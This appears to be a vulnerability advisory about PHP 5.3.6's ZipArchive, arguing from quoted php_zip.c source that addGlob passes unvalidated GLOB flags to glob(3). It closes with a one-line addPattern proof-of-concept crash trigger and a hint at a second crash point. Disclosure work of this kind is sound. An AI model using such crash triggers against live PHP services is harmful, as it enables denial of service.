--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For 
this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor 
module, which generates the web page document. It also has evolved to include a command-line interface capability and 
can be used in standalone graphical applications.

ZipArchive
This extension enables you to transparently read or write ZIP compressed archives and the files inside them. 


--- 1. PHP 5.3.6 ZipArchive invalid use glob(3) ---
Functions like addGlob and addPattern are not described in documentation. Anyway we can call to ZipArchive::addGlob and 
ZipArchive::addPattern in PHP 5.3.6

http://pl2.php.net/manual/en/class.ziparchive.php

let's see ext/zip/php_zip.c

531     if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {
..
1629    /* 1 == glob, 2==pcre */
1630    if (type == 1) {
1631    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la",
1632    &pattern, &pattern_len, &flags, &options) == FAILURE) {
1633    return;
1634    }
1635    } else {
1636    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa",
1637    &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) {
1638    return;
1639    }
1640    }
1641    

invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC, we should first declare gl_opendir, 
gl_closedir, gl_lstat, gl_stat. In PHP we only have

508     glob_t globbuf;
..
530     globbuf.gl_offs = 0;
531     if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {

for addglob() there are no GLOB flags validation like in php/glob(). Only flags like 
GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR|GLOB_ERR should be allowed:

- GLOB_MARK - Adds a slash to each directory returned
- GLOB_NOSORT - Return files as they appear in the directory (no sorting)
- GLOB_NOCHECK - Return the search pattern if no files matching it were found
- GLOB_NOESCAPE - Backslashes do not quote metacharacters
- GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
- GLOB_ONLYDIR - Return only directory entries which match the pattern
- GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.

to get other crash point, change 0x39 to 0x40 or use addPattern() with special crafted zip files.

---addPattern()---
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addPattern(str_repeat("A",1));
